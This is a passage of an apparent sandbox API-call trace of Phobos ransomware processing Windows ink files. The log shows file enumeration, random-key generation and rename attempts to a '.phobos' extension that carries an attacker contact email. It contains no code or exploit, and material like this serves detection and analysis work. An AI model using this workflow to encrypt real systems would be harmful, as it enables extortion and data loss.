shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0048.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.357] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.360] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=215) returned 1 [0048.360] CloseHandle (hObject=0x31c) returned 1 [0048.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0048.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.360] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.361] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1853) returned 1 [0048.361] CloseHandle (hObject=0x31c) returned 1 [0048.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0048.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.361] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.362] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=219) returned 1 [0048.362] CloseHandle (hObject=0x31c) returned 1 [0048.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0048.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.364] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.365] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=694) returned 1 [0048.365] CloseHandle (hObject=0x31c) returned 1 [0048.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0048.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.365] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.366] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=805) returned 1 [0048.366] CloseHandle (hObject=0x31c) returned 1 [0048.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0048.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.366] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.368] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3823) returned 1 [0048.368] CloseHandle (hObject=0x31c) returned 1 [0048.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0048.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.368] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.409] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=46624) returned 1 [0048.409] CloseHandle (hObject=0x31c) returned 1 [0048.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0048.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.409] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.409] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1100592) returned 1 [0048.409] CloseHandle (hObject=0x31c) returned 1 [0048.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0048.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.410] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.427] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3380096) returned 1 [0048.427] CloseHandle (hObject=0x31c) returned 1 [0048.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0048.428] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0048.429] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0 [0048.429] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.435] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2592) returned 1 [0048.435] CloseHandle (hObject=0x31c) returned 1 [0048.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0048.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.439] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.520] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2556) returned 1 [0048.520] CloseHandle (hObject=0x31c) returned 1 [0048.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0048.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.521] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.522] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2578) returned 1 [0048.523] CloseHandle (hObject=0x31c) returned 1 [0048.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0048.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.523] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.523] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3024) returned 1 [0048.523] CloseHandle (hObject=0x31c) returned 1 [0048.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0048.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.524] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.524] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2658) returned 1 [0048.524] CloseHandle (hObject=0x31c) returned 1 [0048.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0048.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.524] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.525] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2532) returned 1 [0048.525] CloseHandle (hObject=0x31c) returned 1 [0048.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20 [0048.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.526] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.526] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2518) returned 1 [0048.526] CloseHandle (hObject=0x31c) returned 1 [0048.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20 [0048.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.527] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, 